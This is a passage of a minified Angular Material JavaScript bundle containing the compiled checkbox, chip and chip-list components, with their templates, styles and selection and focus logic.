new(ce||q)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(n.tE),s.Y36(s.R0b),s.$8M("tabindex"),s.Y36(s.QbO,8),s.Y36(C,8))},q.\\u0275cmp=s.Xpm({type:q,selectors:[["mat-checkbox"]],hostAttrs:[1,"mat-checkbox"],hostVars:14,hostBindings:function(ce,je){2&ce&&(s.Ikx("id",je.id),s.uIk("tabindex",null)("aria-label",null)("aria-labelledby",null),s.ekj("mat-checkbox-indeterminate",je.indeterminate)("mat-checkbox-checked",je.checked)("mat-checkbox-disabled",je.disabled)("mat-checkbox-label-before","before"==je.labelPosition)("_mat-animation-noopable","NoopAnimations"===je._animationMode))},inputs:{disableRipple:"disableRipple",color:"color",tabIndex:"tabIndex"},exportAs:["matCheckbox"],features:[s._Bn([U]),s.qOj],ngContentSelectors:g,decls:17,vars:21,consts:[[1,"mat-checkbox-layout"],["label",""],[1,"mat-checkbox-inner-container"],["type","checkbox",1,"mat-checkbox-input","cdk-visually-hidden",3,"id","required","checked","disabled","tabIndex","change","click"],["input",""],["matRipple","",1,"mat-checkbox-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleRadius","matRippleCentered","matRippleAnimation"],[1,"mat-ripple-element","mat-checkbox-persistent-ripple"],[1,"mat-checkbox-frame"],[1,"mat-checkbox-background"],["version","1.1","focusable","false","viewBox","0 0 24 24","aria-hidden","true",1,"mat-checkbox-checkmark"],["fill","none","stroke","white","d","M4.1,12.7 9,17.6 20.3,6.3",1,"mat-checkbox-checkmark-path"],[1,"mat-checkbox-mixedmark"],[1,"mat-checkbox-label",3,"cdkObserveContent"],["checkboxLabel",""],[2,"display","none"]],template:function(ce,je){if(1&ce&&(s.F$t(),s.TgZ(0,"label",0,1)(2,"span",2)(3,"input",3,4),s.NdJ("change",function(le){return je._onInteractionEvent(le)})("click",function(le){return je._onInputClick(le)}),s.qZA(),s.TgZ(5,"span",5),s._UZ(6,"span",6),s.qZA(),s._UZ(7,"span",7),s.TgZ(8,"span",8),s.O4$(),s.TgZ(9,"svg",9),s._UZ(10,"path",10),s.qZA(),s.kcU(),s._UZ(11,"span",11),s.qZA()(),s.TgZ(12,"span",12,13),s.NdJ("cdkObserveContent",function(){return je._onLabelTextChange()}),s.TgZ(14,"span",14),s._uU(15,"\\xa0"),s.qZA(),s.Hsn(16),s.qZA()()),2&ce){const Ze=s.MAs(1),le=s.MAs(13);s.uIk("for",je.inputId),s.xp6(2),s.ekj("mat-checkbox-inner-container-no-side-margin",!le.textContent||!le.textContent.trim()),s.xp6(1),s.Q6J("id",je.inputId)("required",je.required)("checked",je.checked)("disabled",je.disabled)("tabIndex",je.tabIndex),s.uIk("value",je.value)("name",je.name)("aria-label",je.ariaLabel||null)("aria-labelledby",je.ariaLabelledby)("aria-checked",je._getAriaChecked())("aria-describedby",je.ariaDescribedby),s.xp6(2),s.Q6J("matRippleTrigger",Ze)("matRippleDisabled",je._isRippleDisabled())("matRippleRadius",20)("matRippleCentered",!0)("matRippleAnimation",s.VKq(19,S,"NoopAnimations"===je._animationMode?0:150))}},dependencies:[c.wG,f.wD],styles:[\'@keyframes mat-checkbox-fade-in-background{0%{opacity:0}50%{opacity:1}}@keyframes mat-checkbox-fade-out-background{0%,50%{opacity:1}100%{opacity:0}}@keyframes mat-checkbox-unchecked-checked-checkmark-path{0%,50%{stroke-dashoffset:22.910259}50%{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1)}100%{stroke-dashoffset:0}}@keyframes mat-checkbox-unchecked-indeterminate-mixedmark{0%,68.2%{transform:scaleX(0)}68.2%{animation-timing-function:cubic-bezier(0, 0, 0, 1)}100%{transform:scaleX(1)}}@keyframes mat-checkbox-checked-unchecked-checkmark-path{from{animation-timing-function:cubic-bezier(0.4, 0, 1, 1);stroke-dashoffset:0}to{stroke-dashoffset:-22.910259}}@keyframes mat-checkbox-checked-indeterminate-checkmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(45deg)}}@keyframes mat-checkbox-indeterminate-checked-checkmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:0;transform:rotate(45deg)}to{opacity:1;transform:rotate(360deg)}}@keyframes mat-checkbox-checked-indeterminate-mixedmark{from{animation-timing-function:cubic-bezier(0, 0, 0.2, 0.1);opacity:0;transform:rotate(-45deg)}to{opacity:1;transform:rotate(0deg)}}@keyframes mat-checkbox-indeterminate-checked-mixedmark{from{animation-timing-function:cubic-bezier(0.14, 0, 0, 1);opacity:1;transform:rotate(0deg)}to{opacity:0;transform:rotate(315deg)}}@keyframes mat-checkbox-indeterminate-unchecked-mixedmark{0%{animation-timing-function:linear;opacity:1;transform:scaleX(1)}32.8%,100%{opacity:0;transform:scaleX(0)}}.mat-checkbox-background,.mat-checkbox-frame{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:2px;box-sizing:border-box;pointer-events:none}.mat-checkbox{display:inline-block;transition:background 400ms cubic-bezier(0.25, 0.8, 0.25, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);cursor:pointer;-webkit-tap-highlight-color:rgba(0,0,0,0);position:relative}.mat-checkbox._mat-animation-noopable{transition:none !important;animation:none !important}.mat-checkbox .mat-ripple-element:not(.mat-checkbox-persistent-ripple){opacity:.16}.mat-checkbox .mat-checkbox-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-checkbox-layout{-webkit-user-select:none;user-select:none;cursor:inherit;align-items:baseline;vertical-align:middle;display:inline-flex;white-space:nowrap}.mat-checkbox-label{-webkit-user-select:auto;user-select:auto}.mat-checkbox-inner-container{display:inline-block;height:16px;line-height:0;margin:auto;margin-right:8px;order:0;position:relative;vertical-align:middle;white-space:nowrap;width:16px;flex-shrink:0}[dir=rtl] .mat-checkbox-inner-container{margin-left:8px;margin-right:auto}.mat-checkbox-inner-container-no-side-margin{margin-left:0;margin-right:0}.mat-checkbox-frame{background-color:rgba(0,0,0,0);transition:border-color 90ms cubic-bezier(0, 0, 0.2, 0.1);border-width:2px;border-style:solid}._mat-animation-noopable .mat-checkbox-frame{transition:none}.mat-checkbox-background{align-items:center;display:inline-flex;justify-content:center;transition:background-color 90ms cubic-bezier(0, 0, 0.2, 0.1),opacity 90ms cubic-bezier(0, 0, 0.2, 0.1);-webkit-print-color-adjust:exact;color-adjust:exact}._mat-animation-noopable .mat-checkbox-background{transition:none}.cdk-high-contrast-active .mat-checkbox .mat-checkbox-background{background:none}.mat-checkbox-persistent-ripple{display:block;width:100%;height:100%;transform:none}.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:.04}.mat-checkbox.cdk-keyboard-focused .mat-checkbox-persistent-ripple{opacity:.12}.mat-checkbox-persistent-ripple,.mat-checkbox.mat-checkbox-disabled .mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{opacity:0}@media(hover: none){.mat-checkbox-inner-container:hover .mat-checkbox-persistent-ripple{display:none}}.mat-checkbox-checkmark{top:0;left:0;right:0;bottom:0;position:absolute;width:100%}.mat-checkbox-checkmark-path{stroke-dashoffset:22.910259;stroke-dasharray:22.910259;stroke-width:2.1333333333px}.cdk-high-contrast-black-on-white .mat-checkbox-checkmark-path{stroke:#000 !important}.mat-checkbox-mixedmark{width:calc(100% - 6px);height:2px;opacity:0;transform:scaleX(0) rotate(0deg);border-radius:2px}.cdk-high-contrast-active .mat-checkbox-mixedmark{height:0;border-top:solid 2px;margin-top:2px}.mat-checkbox-label-before .mat-checkbox-inner-container{order:1;margin-left:8px;margin-right:auto}[dir=rtl] .mat-checkbox-label-before .mat-checkbox-inner-container{margin-left:auto;margin-right:8px}.mat-checkbox-checked .mat-checkbox-checkmark{opacity:1}.mat-checkbox-checked .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-checked .mat-checkbox-mixedmark{transform:scaleX(1) rotate(-45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark{opacity:0;transform:rotate(45deg)}.mat-checkbox-indeterminate .mat-checkbox-checkmark-path{stroke-dashoffset:0}.mat-checkbox-indeterminate .mat-checkbox-mixedmark{opacity:1;transform:scaleX(1) rotate(0deg)}.mat-checkbox-unchecked .mat-checkbox-background{background-color:rgba(0,0,0,0)}.mat-checkbox-disabled{cursor:default}.cdk-high-contrast-active .mat-checkbox-disabled{opacity:.5}.mat-checkbox-anim-unchecked-checked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-checked .mat-checkbox-checkmark-path{animation:180ms linear 0ms mat-checkbox-unchecked-checked-checkmark-path}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-in-background}.mat-checkbox-anim-unchecked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-unchecked-indeterminate-mixedmark}.mat-checkbox-anim-checked-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-checked-unchecked .mat-checkbox-checkmark-path{animation:90ms linear 0ms mat-checkbox-checked-unchecked-checkmark-path}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-checkmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-checkmark}.mat-checkbox-anim-checked-indeterminate .mat-checkbox-mixedmark{animation:90ms linear 0ms mat-checkbox-checked-indeterminate-mixedmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-checkmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-checkmark}.mat-checkbox-anim-indeterminate-checked .mat-checkbox-mixedmark{animation:500ms linear 0ms mat-checkbox-indeterminate-checked-mixedmark}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-background{animation:180ms linear 0ms mat-checkbox-fade-out-background}.mat-checkbox-anim-indeterminate-unchecked .mat-checkbox-mixedmark{animation:300ms linear 0ms mat-checkbox-indeterminate-unchecked-mixedmark}.mat-checkbox-input{bottom:0;left:50%}.mat-checkbox-input:focus~.mat-focus-indicator::before{content:""}\'],encapsulation:2,changeDetection:0}),q})(),se=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({}),q})(),ee=(()=>{class q{}return q.\\u0275fac=function(ce){return new(ce||q)},q.\\u0275mod=s.oAB({type:q}),q.\\u0275inj=s.cJS({imports:[c.si,c.BQ,f.Q8,se,c.BQ,se]}),q})()},7331:(At,ae,d)=>{"use strict";d.d(ae,{HS:()=>ce,Hi:()=>bt,qn:()=>Ye});var n=d(9521),a=d(4650),s=d(3238),u=d(1281),c=d(3353),f=d(6895),E=d(8929),_=d(6787),S=d(2986),g=d(7625),C=d(1059),z=d(2687),H=d(445),j=d(5017),U=d(4006),G=d(9549);const Q=["*"],Ce=new a.OlP("MatChipRemove"),k=new a.OlP("MatChipAvatar"),K=new a.OlP("MatChipTrailingIcon");class se{constructor(De){this._elementRef=De}}const ee=(0,s.sb)((0,s.pj)((0,s.Kr)(se),"primary"),-1);let ce=(()=>{class ze extends ee{constructor(re,ve,We,xt,Be,pe,P,w){super(re),this._ngZone=ve,this._changeDetectorRef=Be,this._hasFocus=!1,this.chipListSelectable=!0,this._chipListMultiple=!1,this._chipListDisabled=!1,this.role="option",this._selected=!1,this._selectable=!0,this._disabled=!1,this._removable=!0,this._onFocus=new E.xQ,this._onBlur=new E.xQ,this.selectionChange=new a.vpe,this.destroyed=new a.vpe,this.removed=new a.vpe,this._addHostClassName(),this._chipRippleTarget=pe.createElement("div"),this._chipRippleTarget.classList.add("mat-chip-ripple"),this._elementRef.nativeElement.appendChild(this._chipRippleTarget),this._chipRipple=new s.IR(this,ve,this._chipRippleTarget,We),this._chipRipple.setupTriggerEvents(re),this.rippleConfig=xt||{},this._animationsDisabled="NoopAnimations"===P,this.tabIndex=null!=w&&parseInt(w)||-1}get rippleDisabled(){return this.disabled||this.disableRipple||this._animationsDisabled||!!this.rippleConfig.disabled}get selected(){return this._selected}set selected(re){const ve=(0,u.Ig)(re);ve!==this._selected&&(this._selected=ve,this._dispatchSelectionChange())}get value(){return void 0!==this._value?this._value:this._elementRef.nativeElement.textContent}set value(re){this._value=re}get selectable(){return this._selectable&&this.chipListSelectable}set selectable(re){this._selectable=(0,u.Ig)(re)}get disabled(){return this._chipListDisabled||this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re)}get removable(){return this._removable}set removable(re){this._removable=(0,u.Ig)(re)}get ariaSelected(){return this.selectable&&(this._chipListMultiple||this.selected)?this.selected.toString():null}_addHostClassName(){const re="mat-basic-chip",ve=this._elementRef.nativeElement;ve.hasAttribute(re)||ve.tagName.toLowerCase()===re?ve.classList.add(re):ve.classList.add("mat-standard-chip")}ngOnDestroy(){this.destroyed.emit({chip:this}),this._chipRipple._removeTriggerEvents()}select(){this._selected||(this._selected=!0,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}deselect(){this._selected&&(this._selected=!1,this._dispatchSelectionChange(),this._changeDetectorRef.markForCheck())}selectViaInteraction(){this._selected||(this._selected=!0,this._dispatchSelectionChange(!0),this._changeDetectorRef.markForCheck())}toggleSelected(re=!1){return this._selected=!this.selected,this._dispatchSelectionChange(re),this._changeDetectorRef.markForCheck(),this.selected}focus(){this._hasFocus||(this._elementRef.nativeElement.focus(),this._onFocus.next({chip:this})),this._hasFocus=!0}remove(){this.removable&&this.removed.emit({chip:this})}_handleClick(re){this.disabled&&re.preventDefault()}_handleKeydown(re){if(!this.disabled)switch(re.keyCode){case n.yY:case n.ZH:this.remove(),re.preventDefault();break;case n.L_:this.selectable&&this.toggleSelected(!0),re.preventDefault()}}_blur(){this._ngZone.onStable.pipe((0,S.q)(1)).subscribe(()=>{this._ngZone.run(()=>{this._hasFocus=!1,this._onBlur.next({chip:this})})})}_dispatchSelectionChange(re=!1){this.selectionChange.emit({source:this,isUserInput:re,selected:this._selected})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.R0b),a.Y36(c.t4),a.Y36(s.Y2,8),a.Y36(a.sBO),a.Y36(f.K0),a.Y36(a.QbO,8),a.$8M("tabindex"))},ze.\\u0275dir=a.lG2({type:ze,selectors:[["mat-basic-chip"],["","mat-basic-chip",""],["mat-chip"],["","mat-chip",""]],contentQueries:function(re,ve,We){if(1&re&&(a.Suo(We,k,5),a.Suo(We,K,5),a.Suo(We,Ce,5)),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.avatar=xt.first),a.iGM(xt=a.CRH())&&(ve.trailingIcon=xt.first),a.iGM(xt=a.CRH())&&(ve.removeIcon=xt.first)}},hostAttrs:[1,"mat-chip","mat-focus-indicator"],hostVars:15,hostBindings:function(re,ve){1&re&&a.NdJ("click",function(xt){return ve._handleClick(xt)})("keydown",function(xt){return ve._handleKeydown(xt)})("focus",function(){return ve.focus()})("blur",function(){return ve._blur()}),2&re&&(a.uIk("tabindex",ve.disabled?null:ve.tabIndex)("role",ve.role)("disabled",ve.disabled||null)("aria-disabled",ve.disabled.toString())("aria-selected",ve.ariaSelected),a.ekj("mat-chip-selected",ve.selected)("mat-chip-with-avatar",ve.avatar)("mat-chip-with-trailing-icon",ve.trailingIcon||ve.removeIcon)("mat-chip-disabled",ve.disabled)("_mat-animation-noopable",ve._animationsDisabled))},inputs:{color:"color",disableRipple:"disableRipple",tabIndex:"tabIndex",role:"role",selected:"selected",value:"value",selectable:"selectable",disabled:"disabled",removable:"removable"},outputs:{selectionChange:"selectionChange",destroyed:"destroyed",removed:"removed"},exportAs:["matChip"],features:[a.qOj]}),ze})();const Ze=new a.OlP("mat-chips-default-options"),le=(0,s.FD)(class{constructor(ze,De,re,ve){this._defaultErrorStateMatcher=ze,this._parentForm=De,this._parentFormGroup=re,this.ngControl=ve,this.stateChanges=new E.xQ}});let Oe=0;class Qe{constructor(De,re){this.source=De,this.value=re}}let Ye=(()=>{class ze extends le{constructor(re,ve,We,xt,Be,pe,P){super(pe,xt,Be,P),this._elementRef=re,this._changeDetectorRef=ve,this._dir=We,this.controlType="mat-chip-list",this._lastDestroyedChipIndex=null,this._destroyed=new E.xQ,this._uid="mat-chip-list-"+Oe++,this._tabIndex=0,this._userTabIndex=null,this._onTouched=()=>{},this._onChange=()=>{},this._multiple=!1,this._compareWith=(w,R)=>w===R,this._disabled=!1,this.ariaOrientation="horizontal",this._selectable=!0,this.change=new a.vpe,this.valueChange=new a.vpe,this.ngControl&&(this.ngControl.valueAccessor=this)}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get role(){return this._explicitRole?this._explicitRole:this.empty?null:"listbox"}set role(re){this._explicitRole=re}get multiple(){return this._multiple}set multiple(re){this._multiple=(0,u.Ig)(re),this._syncChipsState()}get compareWith(){return this._compareWith}set compareWith(re){this._compareWith=re,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(re){this.writeValue(re),this._value=re}get id(){return this._chipInput?this._chipInput.id:this._uid}get required(){return this._required??this.ngControl?.control?.hasValidator(U.kI.required)??!1}set required(re){this._required=(0,u.Ig)(re),this.stateChanges.next()}get placeholder(){return this._chipInput?this._chipInput.placeholder:this._placeholder}set placeholder(re){this._placeholder=re,this.stateChanges.next()}get focused(){return this._chipInput&&this._chipInput.focused||this._hasFocusedChip()}get empty(){return(!this._chipInput||this._chipInput.empty)&&(!this.chips||0===this.chips.length)}get shouldLabelFloat(){return!this.empty||this.focused}get disabled(){return this.ngControl?!!this.ngControl.disabled:this._disabled}set disabled(re){this._disabled=(0,u.Ig)(re),this._syncChipsState()}get selectable(){return this._selectable}set selectable(re){this._selectable=(0,u.Ig)(re),this._syncChipsState()}set tabIndex(re){this._userTabIndex=re,this._tabIndex=re}get chipSelectionChanges(){return(0,_.T)(...this.chips.map(re=>re.selectionChange))}get chipFocusChanges(){return(0,_.T)(...this.chips.map(re=>re._onFocus))}get chipBlurChanges(){return(0,_.T)(...this.chips.map(re=>re._onBlur))}get chipRemoveChanges(){return(0,_.T)(...this.chips.map(re=>re.destroyed))}ngAfterContentInit(){this._keyManager=new z.Em(this.chips).withWrap().withVerticalOrientation().withHomeAndEnd().withHorizontalOrientation(this._dir?this._dir.value:"ltr"),this._dir&&this._dir.change.pipe((0,g.R)(this._destroyed)).subscribe(re=>this._keyManager.withHorizontalOrientation(re)),this._keyManager.tabOut.pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._allowFocusEscape()}),this.chips.changes.pipe((0,C.O)(null),(0,g.R)(this._destroyed)).subscribe(()=>{(this.disabled||!this.selectable)&&Promise.resolve().then(()=>{this._syncChipsState()}),this._resetChips(),this._initializeSelection(),this._updateTabIndex(),this._updateFocusForDestroyedChips(),this.stateChanges.next()})}ngOnInit(){this._selectionModel=new j.Ov(this.multiple,void 0,!1),this.stateChanges.next()}ngDoCheck(){this.ngControl&&(this.updateErrorState(),this.ngControl.disabled!==this._disabled&&(this.disabled=!!this.ngControl.disabled))}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this.stateChanges.complete(),this._dropSubscriptions()}registerInput(re){this._chipInput=re,this._elementRef.nativeElement.setAttribute("data-mat-chip-input",re.id)}setDescribedByIds(re){re.length?this._elementRef.nativeElement.setAttribute("aria-describedby",re.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}writeValue(re){this.chips&&this._setSelectionByValue(re,!1)}registerOnChange(re){this._onChange=re}registerOnTouched(re){this._onTouched=re}setDisabledState(re){this.disabled=re,this.stateChanges.next()}onContainerClick(re){this._originatesFromChip(re)||this.focus()}focus(re){this.disabled||this._chipInput&&this._chipInput.focused||(this.chips.length>0?(this._keyManager.setFirstItemActive(),this.stateChanges.next()):(this._focusInput(re),this.stateChanges.next()))}_focusInput(re){this._chipInput&&this._chipInput.focus(re)}_keydown(re){const ve=re.target;ve&&ve.classList.contains("mat-chip")&&(this._keyManager.onKeydown(re),this.stateChanges.next())}_updateTabIndex(){this._tabIndex=this._userTabIndex||(0===this.chips.length?-1:0)}_updateFocusForDestroyedChips(){if(null!=this._lastDestroyedChipIndex)if(this.chips.length){const re=Math.min(this._lastDestroyedChipIndex,this.chips.length-1);this._keyManager.setActiveItem(re)}else this.focus();this._lastDestroyedChipIndex=null}_isValidIndex(re){return re>=0&&re<this.chips.length}_setSelectionByValue(re,ve=!0){if(this._clearSelection(),this.chips.forEach(We=>We.deselect()),Array.isArray(re))re.forEach(We=>this._selectValue(We,ve)),this._sortValues();else{const We=this._selectValue(re,ve);We&&ve&&this._keyManager.setActiveItem(We)}}_selectValue(re,ve=!0){const We=this.chips.find(xt=>null!=xt.value&&this._compareWith(xt.value,re));return We&&(ve?We.selectViaInteraction():We.select(),this._selectionModel.select(We)),We}_initializeSelection(){Promise.resolve().then(()=>{(this.ngControl||this._value)&&(this._setSelectionByValue(this.ngControl?this.ngControl.value:this._value,!1),this.stateChanges.next())})}_clearSelection(re){this._selectionModel.clear(),this.chips.forEach(ve=>{ve!==re&&ve.deselect()}),this.stateChanges.next()}_sortValues(){this._multiple&&(this._selectionModel.clear(),this.chips.forEach(re=>{re.selected&&this._selectionModel.select(re)}),this.stateChanges.next())}_propagateChanges(re){let ve=null;ve=Array.isArray(this.selected)?this.selected.map(We=>We.value):this.selected?this.selected.value:re,this._value=ve,this.change.emit(new Qe(this,ve)),this.valueChange.emit(ve),this._onChange(ve),this._changeDetectorRef.markForCheck()}_blur(){this._hasFocusedChip()||this._keyManager.setActiveItem(-1),this.disabled||(this._chipInput?setTimeout(()=>{this.focused||this._markAsTouched()}):this._markAsTouched())}_markAsTouched(){this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next()}_allowFocusEscape(){-1!==this._tabIndex&&(this._tabIndex=-1,setTimeout(()=>{this._tabIndex=this._userTabIndex||0,this._changeDetectorRef.markForCheck()}))}_resetChips(){this._dropSubscriptions(),this._listenToChipsFocus(),this._listenToChipsSelection(),this._listenToChipsRemoved()}_dropSubscriptions(){this._chipFocusSubscription&&(this._chipFocusSubscription.unsubscribe(),this._chipFocusSubscription=null),this._chipBlurSubscription&&(this._chipBlurSubscription.unsubscribe(),this._chipBlurSubscription=null),this._chipSelectionSubscription&&(this._chipSelectionSubscription.unsubscribe(),this._chipSelectionSubscription=null),this._chipRemoveSubscription&&(this._chipRemoveSubscription.unsubscribe(),this._chipRemoveSubscription=null)}_listenToChipsSelection(){this._chipSelectionSubscription=this.chipSelectionChanges.subscribe(re=>{re.source.selected?this._selectionModel.select(re.source):this._selectionModel.deselect(re.source),this.multiple||this.chips.forEach(ve=>{!this._selectionModel.isSelected(ve)&&ve.selected&&ve.deselect()}),re.isUserInput&&this._propagateChanges()})}_listenToChipsFocus(){this._chipFocusSubscription=this.chipFocusChanges.subscribe(re=>{let ve=this.chips.toArray().indexOf(re.chip);this._isValidIndex(ve)&&this._keyManager.updateActiveItem(ve),this.stateChanges.next()}),this._chipBlurSubscription=this.chipBlurChanges.subscribe(()=>{this._blur(),this.stateChanges.next()})}_listenToChipsRemoved(){this._chipRemoveSubscription=this.chipRemoveChanges.subscribe(re=>{const ve=re.chip,We=this.chips.toArray().indexOf(re.chip);this._isValidIndex(We)&&ve._hasFocus&&(this._lastDestroyedChipIndex=We)})}_originatesFromChip(re){let ve=re.target;for(;ve&&ve!==this._elementRef.nativeElement;){if(ve.classList.contains("mat-chip"))return!0;ve=ve.parentElement}return!1}_hasFocusedChip(){return this.chips&&this.chips.some(re=>re._hasFocus)}_syncChipsState(){this.chips&&this.chips.forEach(re=>{re._chipListDisabled=this._disabled,re._chipListMultiple=this.multiple,re.chipListSelectable=this._selectable})}}return ze.\\u0275fac=function(re){return new(re||ze)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(H.Is,8),a.Y36(U.F,8),a.Y36(U.sg,8),a.Y36(s.rD),a.Y36(U.a5,10))},ze.\\u0275cmp=a.Xpm({type:ze,selectors:[["mat-chip-list"]],contentQueries:function(re,ve,We){if(1&re&&a.Suo(We,ce,5),2&re){let xt;a.iGM(xt=a.CRH())&&(ve.chips=xt)}},hostAttrs:[1,"mat-chip-list"],hostVars:14,hostBindings:function(re,ve){1&re&&a.NdJ("focus",function(){return ve.focus()})("blur",function(){return ve._blur()})("keydown",function(xt){return ve._keydown(xt)}),2&re&&(a.Ikx("id",ve._uid),a.uIk("tabindex",ve.disabled?null:ve._tabIndex)("aria-required",ve.role?ve.required:null)("aria-disabled",ve.disabled.toString())("aria-invalid",ve.errorState)("aria-multiselectable",ve.multiple)("role",ve.role)("aria-orientation",ve.ariaOrientation),a.ekj("mat-chip-list-disabled",ve.disabled)("mat-chip-list-invalid",ve.errorState)("mat-chip-list-required",ve.required))},inputs:{role:"role",userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],errorStateMatcher:"errorStateMatcher",multiple:"multiple",compareWith:"compareWith",value:"value",required:"required",placeholder:"placeholder",disabled:"disabled",ariaOrientation:["aria-orientation","ariaOrientation"],selectable:"selectable",tabIndex:"tabIndex"},outputs:{change:"change",valueChange:"valueChange"},exportAs:["matChipList"],features:[a._Bn([{provide:G.Eo,useExisting:ze}]),a.qOj],ngContentSelectors:Q,decls:2,vars:0,consts:[[1,"mat-chip-list-wrapper"]],template:function(re,ve){1&re&&(a.F$t(),a.TgZ(0,"div",0),a.Hsn(1),a.qZA())},styles:[\'.mat-chip{position:relative;box-sizing:border-box;-webkit-tap-highlight-color:rgba(0,0,0,0);border:none;-webkit-appearance:none;-moz-appearance:none}.mat-chip::before{margin:calc(calc(var(--mat-focus-indicator-border-width, 3px) + 2px) * -1)}.mat-standard-chip{transition:box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);display:inline-flex;padding:7px 12px;border-radius:16px;align-items:center;cursor:default;min-height:32px;height:1px}.mat-standard-chip._mat-animation-noopable{transition:none !important;animation:none !important}.mat-standard-chip .mat-chip-remove{border:none;-webkit-appearance:none;-moz-appearance:none;padding:0;background:none}.mat-standard-chip .mat-chip-remove.mat-icon,.mat-standard-chip .mat-chip-remove .mat-icon{width:18px;height:18px;font-size:18px}.mat-standard-chip::after{top:0;left:0;right:0;bottom:0;position:absolute;border-radius:inherit;opacity:0;content:"";pointer-events:none;transition:opacity 200ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-standard-chip:hover::after{opacity:.12}.mat-standard-chip:focus{outline:none}.mat-standard-chip:focus::after{opacity:.16}.cdk-high-contrast-active .mat-standard-chip{outline:solid 1px}.cdk-high-contrast-active .mat-standard-chip.mat-chip-selected{outline-width:3px}.mat-standard-chip.mat-chip-disabled::after{opacity:0}.mat-standard-chip.mat-chip-disabled .mat-chip-remove,.mat-standard-chip.mat-chip-disabled .mat-chip-trailing-icon{cursor:default}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar,.mat-standard-chip.mat-chip-with-avatar{padding-top:0;padding-bottom:0}.mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-right:8px;padding-left:0}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon.mat-chip-with-avatar{padding-left:8px;padding-right:0}.mat-standard-chip.mat-chip-with-trailing-icon{padding-top:7px;padding-bottom:7px;padding-right:8px;padding-left:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-trailing-icon{padding-left:8px;padding-right:12px}.mat-standard-chip.mat-chip-with-avatar{padding-left:0;padding-right:12px}[dir=rtl] .mat-standard-chip.mat-chip-with-avatar{padding-right:0;padding-left:12px}.mat-standard-chip .mat-chip-avatar{width:24px;height:24px;margin-right:8px;margin-left:4px}[dir=rtl] .mat-standard-chip .mat-chip-avatar{margin-left:8px;margin-right:4px}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{width:18px;height:18px;cursor:pointer}.mat-standard-chip .mat-chip-remove,.mat-standard-chip .mat-chip-trailing-icon{margin-left:8px;margin-right:0}[dir=rtl] .mat-standard-chip .mat-chip-remove,[dir=rtl] .mat-standard-chip .mat-chip-trailing-icon{margin-right:8px;margin-left:0}.mat-chip-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none;border-radius:inherit;overflow:hidden;transform:translateZ(0)}.mat-chip-list-wrapper{display:flex;flex-direction:row;flex-wrap:wrap;align-items:center;margin:-4px}.mat-chip-list-wrapper input.mat-input-element,.mat-chip-list-wrapper .mat-standard-chip{margin:4px}.mat-chip-list-stacked .mat-chip-list-wrapper{flex-direction:column;align-items:flex-start}.mat-chip-list-stacked .mat-chip-list-wrapper .mat-standard-chip{width:100%}.mat-chip-avatar{border-radius:50%;justify-content:center;align-items:center;display:flex;overflow:hidden;object-fit:cover}input.mat-chip-input{width:150px;margin:4px;flex:1 0 150px}\'],encapsulation:2,changeDetection:0}),ze})(),bt=(()=>{class ze{}return ze.\\u0275fac=function(re){return new(re||ze)},ze.\\u0275mod=a.oAB({type:ze}),ze.\\u0275inj=a.cJS({providers:[s.rD,{provide:Ze,useValue:{separatorKeyCodes:[n.K5]}}],imports:[s.BQ]}),ze})()},3238:(At,ae,d)=>{"use strict";d.d(ae,{_A:()=>Ke,rD:()=>Be,sG:()=>dt,K7:()=>Vt,HF:()=>ie,Y2:()=>te,BQ:()=>se,X2:()=>pe,uc:()=>R,XK:()=>We,ey:()=>It,Ng:()=>Fe,rN:()=>u1,nP:()=>b,us:()=>B,wG:()=>x,si:()=>m,IR:()=>Pt,CB:()=>_t,jH:()=>kt,pj:()=>je,Kr:()=>Ze,Id:()=>ce,FD:()=>Oe,dB:()=>Qe,sb:()=>le,E0:()=>P});var 